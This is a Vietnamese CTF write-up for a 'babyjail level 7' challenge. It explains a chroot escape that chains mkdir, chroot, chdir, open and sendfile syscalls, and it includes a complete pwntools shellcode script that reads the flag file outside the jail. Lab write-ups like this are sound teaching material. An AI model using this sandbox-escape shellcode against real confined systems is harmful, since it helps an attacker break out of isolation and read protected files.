**Write-up for week 2 task** --- **1. Baby jail level 7 challenge:** ![image](https://hackmd.io/_uploads/rkM0gN1o6.png) * Ở level này chúng ta được đưa vào jail và được phép chạy shellcode với các syscall chdir, chroot, mkdir, open, read, write, sendfile * ![image](https://hackmd.io/_uploads/ry10WEkj6.png) * Có thể thấy vì được cấp quyền sử dụng lại chroot, mà chroot chỉ thay đổi root chứ không thay đổi cwd nên nếu chỉ chroot mà không chdir vào newroot đã chroot thì chương trình sẽ tạm thời không thể xác định được chúng ta đang ở đâu * ![image](https://hackmd.io/_uploads/rJijzN1ip.png) * Tại thời điểm này vì chưa chdir vào jail nên chroot vẫn chưa có tác dụng, vậy nên chúng ta hoàn toàn có thể cd ../../../ để trở về /root rồi dùng open và sendfile hoặc open read write để lấy flag => Ý tưởng của mình là dùng mkdir để chroot đến dir vừa tạo -> chdir ../ để lùi ra 1 folder về tmp -> open ../flag để lùi thêm 1 folder nữa về root và mở flag -> sendfile flag vừa mới open ra màn hình và có được flag Và đây là payload mình đã dùng để lấy flag: ```python! from pwn import * #context.terminal = ["tmux", "splitw", "-h"] p = ["/challenge/babyjail_level7", "/"] chall = process(p) shell_mkdir = asm(''' xor rax, rax xor rdi, rdi xor rsi, rsi mov rax, 0x53 lea rdi, [rip] add rdi, 0x8 syscall jmp $ + 0x5 ''', arch = 'amd64', os = 'linux') mkdir_arg = b'/x\x00' shell_chroot = asm(''' xor rax, rax xor rdi, rdi xor rsi, rsi mov rax, 0xa1 lea rdi, [rip] add rdi, 0x8 syscall jmp $ + 0x5 ''', arch = 'amd64', os = 'linux') chroot_arg = b'/x\x00' shell_chdir = asm(''' xor rax, rax xor rdi, rdi xor rsi, rsi mov rax, 0x50 lea rdi, [rip] add rdi, 0x8 syscall jmp $ + 0x6 ''', arch = 'amd64', os = 'linux') chdir_arg = b'../\x00' shell_open = asm(''' xor rax, rax xor rdi, rdi xor rsi, rsi mov rax, 0x2 lea rdi, [rip] add rdi, 0x8 syscall jmp $ + 0xa ''', arch = 'amd64', os = 'linux') open_arg = b'../flag\x00' shell_sendfile = asm(''' mov rsi, rax xor rax, rax xor rdi, rdi add rdi, 0x1 mov rdx, 0x50 mov r10, rdx xor rdx, rdx mov rax, 0x28 syscall ''', arch = 'amd64', os = 'linux') payload = shell_mkdir + mkdir_arg payload += shell_chroot + chroot_arg payload += shell_chdir + chdir_arg payload += shell_open + open_arg payload += shell_sendfile chall.sendline(payload) chall.interactive() ``` * Flag: * ![image](https://hackmd.io/_uploads/rySd7V1s6.png)